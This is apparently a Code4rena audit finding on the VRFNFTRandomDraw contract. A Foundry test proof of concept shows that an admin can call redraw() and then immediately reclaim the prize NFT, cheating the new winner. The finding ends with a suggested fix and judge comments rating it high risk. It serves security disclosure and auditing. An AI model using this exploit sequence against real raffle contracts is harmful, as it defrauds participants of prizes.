After the redrawing the winner can lose his NFT for the Admin

[code423n4]

Lines of code

https://github.com/code-423n4/2022-12-forgeries/blob/main/src/VRFNFTRandomDraw.sol#L304-L320

Vulnerability details

Impact

The owner can manipulate the raffle by deprivation of a specific address (winner)

Proof of Concept

Please copy the following POC on VRFNFTRandomDraw.t.sol

    function test_admin_Redrawing_and_Reclaim_nft() public {
        address winner = address(0x1337);
        address winner_2 = address(0x02a6);

        vm.label(winner, "winner");

        vm.startPrank(winner);
        for (uint256 tokensCount = 0; tokensCount < 10; tokensCount++) {
            drawingNFT.mint();
        }
        vm.stopPrank();

        assertEq(drawingNFT.balanceOf(winner), 10);
        assertEq(drawingNFT.balanceOf(winner_2), 0);

        vm.startPrank(admin);
        targetNFT.mint();

        address consumerAddress = factory.makeNewDraw(
            IVRFNFTRandomDraw.Settings({
                token: address(targetNFT),
                tokenId: 0,
                drawingToken: address(drawingNFT),
                drawingTokenStartId: 0,
                drawingTokenEndId: 10,
                drawBufferTime: 1 weeks,
                recoverTimelock: 8 days,
                keyHash: bytes32(
                    0x79d3d8832d904592c0bf9818b621522c988bb8b0c05cdc3b15aea1b6e8db0c15
                ),
                subscriptionId: subscriptionId
            })
        );
        vm.label(consumerAddress, "drawing instance");

        mockCoordinator.addConsumer(subscriptionId, consumerAddress);
        mockCoordinator.fundSubscription(subscriptionId, 100 ether);

        VRFNFTRandomDraw drawing = VRFNFTRandomDraw(consumerAddress);

        targetNFT.setApprovalForAll(consumerAddress, true);

        uint256 drawingId = drawing.startDraw();

        mockCoordinator.fulfillRandomWords(drawingId, consumerAddress);

        vm.stopPrank();

        assertEq(targetNFT.balanceOf(winner), 0);
        assertEq(targetNFT.balanceOf(winner_2), 0);

        assertEq(targetNFT.balanceOf(consumerAddress), 1);

        //Let's travel time
        vm.warp(9 days);

        // First, let's transfer the tokens to make sure the `winner_2` will win this tame
         vm.startPrank(winner);
        for (uint256 tokensCount = 0; tokensCount < 10; tokensCount++) {
            drawingNFT.transferFrom(winner, winner_2, tokensCount);
        }
        vm.stopPrank();

        assertEq(drawingNFT.balanceOf(winner), 0);
        assertEq(drawingNFT.balanceOf(winner_2), 10);
        
        // here the first winner `winner` didn't invke `winnerClaimNFT()`
        // the `admin` will invoke `redraw()`
       
        vm.startPrank(admin);

        drawingId = drawing.redraw();
        mockCoordinator.fulfillRandomWords(drawingId, consumerAddress);
        
        //if the `admin` doesn't want this address (here is `winner_2`) to win this raffle,
        //he can immediately invoke `lastResortTimelockOwnerClaimNFT()` to disqualify the winner  

        drawing.lastResortTimelockOwnerClaimNFT();
        vm.stopPrank();

        assertEq(targetNFT.balanceOf(winner_2), 0);
        assertEq(targetNFT.balanceOf(admin), 1);
    }

Recommended Mitigation Steps

In case of redraw() the new winner need some time to, before the admin can invoke lastResortTimelockOwnerClaimNFT() successfully

[c4-judge]

gzeon-c4 marked the issue as duplicate of #146

[c4-judge]

gzeon-c4 marked the issue as satisfactory

[c4-judge]

gzeon-c4 changed the severity to 3 (High Risk)